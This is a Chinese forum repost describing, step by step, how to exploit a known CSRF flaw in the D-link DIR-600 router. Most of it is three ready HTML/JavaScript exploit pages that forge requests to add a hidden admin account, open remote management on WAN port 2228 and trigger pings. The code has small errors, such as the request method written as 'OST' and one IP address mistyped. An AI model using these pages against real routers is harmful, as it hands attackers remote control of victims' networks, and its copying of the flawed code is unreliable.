• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    使用CSRF漏洞攻击D-link路由器全过程

    发布者: 管理员不想理你 | 发布时间: 2025-6-28 23:27| 查看数: 82| 评论数: 0|帖子模式

    1,介绍
    本文的目的是展示CSRF漏洞的危害,以D-link的DIR-600路由器(硬件版本:BX,固件版本:2.16)的CSRF漏洞为例。
    D-link的CSRF漏洞已经是公开的,本文将详细描述一下整个D-link CSRF漏洞的利用,如何通过CSRF漏洞实现远程管理访问D-link路由器。
    2,CSRF漏洞说明
    如果某些request请求中没有csrf  token或不需要密码授权,会存在CSRF漏洞,该漏洞允许攻击者伪造登录用户发送请求,因此可以导致用户执行攻击者想要的操作请求。
    通过D-link 管理面板的CSRF漏洞,攻击者可以做以下操作:
    @1,添加一个新的管理帐号;
    @2,启用路由器的远程管理;
    @3,ping特定的机器;此操作只需要登录路由器就可以实现,需要知道路由器的WAN IP地址。
    3,PART1:给路由器增加一个新的管理帐号
    需要两个request请求来完成
    REQUEST1:

    复制代码代码如下:<html>
      <body>
        <script>
          function submitRequest()
          {
            var xhr = new XMLHttpRequest();
            xhr.open("OST", "http://192.168.0.1/hedwig.cgi", true);
            xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
            xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
            xhr.setRequestHeader("Content-Type", "text/plain; charset=UTF-8");
        xhr.withCredentials = "true";
            var body = "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>"+
    "
    <postxml>"+
      "<module>"+
        "<service>DEVICE.ACCOUNT</service>"+
        "<device>"+
          "<account>"+
            "<seqno/>"+
            "<max>1</max>"+
            "<count>2</count>"+
            "<entry>"+
              "<name>admin</name>"+
              "
    <password>==OoXxGgYy==</password>"+
              "<group>0</group>"+
              "<description/>"+
            "</entry>"+
            "<entry>"+
              "<name>admin2</name>"+
              "
    <password>pass2</password>"+
              "<group>0</group>"+
              "<description/>"+
            "</entry>"+
          "</account>"+
          "<session>"+
            "<captcha>0</captcha>"+
            "<dummy/>"+
            "<timeout>180</timeout>"+
            "<maxsession>128</maxsession>"+
            "<maxauthorized>16</maxauthorized>"+
          "</session>"+
        "</device>"+
      "</module>"+
      "<module>"+
        "<service>HTTP.WAN-1</service>"+
        "<inf>"+
          "<web>2228</web>"+
          "<weballow>"+
            "<hostv4ip/>"+
          "</weballow>"+
        "</inf>"+
      "</module>"+
      "<module>"+
        "<service>HTTP.WAN-2</service>"+
        "<inf>"+
          "<web>2228</web>"+
          "<weballow>"+
            "<hostv4ip/>"+
          "</weballow>"+
        "</inf>"+
      "</module>"+
    "</postxml>";
            xhr.send(body);
          }
        </script>
    <form action="#">
          <input type="button" value="Submit request1"  />
        </form>
      </body>
    </html>
    REQUEST2:

    复制代码代码如下:<html>
      <body>
        <script>
          function submitRequest()
          {
            var xhr = new XMLHttpRequest();
            xhr.open("OST", "http://192.168.0.1/pigwidgeon.cgi", true);
            xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
            xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
            xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
        xhr.withCredentials = "true";
            var body = "ACTIONS=SETCFG%2CSAVE%2CACTIVATE";
            xhr.send(body);
          }
        </script>
    <form action="#">
          <input type="button" value="Submit request2"  />
        </form>
      </body>
    </html>
    REQUEST1和REQUEST2中,默认的路由局域网IP地址是192.198.0.1,管理帐号是admin,REQUEST1中的request请求中,当密码字段为==OoXxGgYy==的时候,是不会修改admin帐号的密码的。这两个请求完成了管理帐号admin2的添加,同时启用了远程管理端口2228.
    PART2:ping特定的主机
    REQUEST3:

    复制代码代码如下:<html>
      <body>
        <script>
          function submitRequest()
          {
            var xhr = new XMLHttpRequest();
            xhr.open("OST", "http://192.168.0.1/diagnostic.php", true);
            xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
            xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
            xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
        xhr.withCredentials = "true";
            var body = "act=ping&dst=X.Y.Z.W";
            xhr.send(body);
          }
        </script>
    <form action="#">
          <input type="button" value="Submit request3"  />
        </form>
      </body>
    </html>
    只需要求该代码中的X.Y.Z.W为你需要ping的主机IP地址就可以。

    来源:https://www.jb51.net/hack/158373.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    最新评论

    浏览过的版块

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表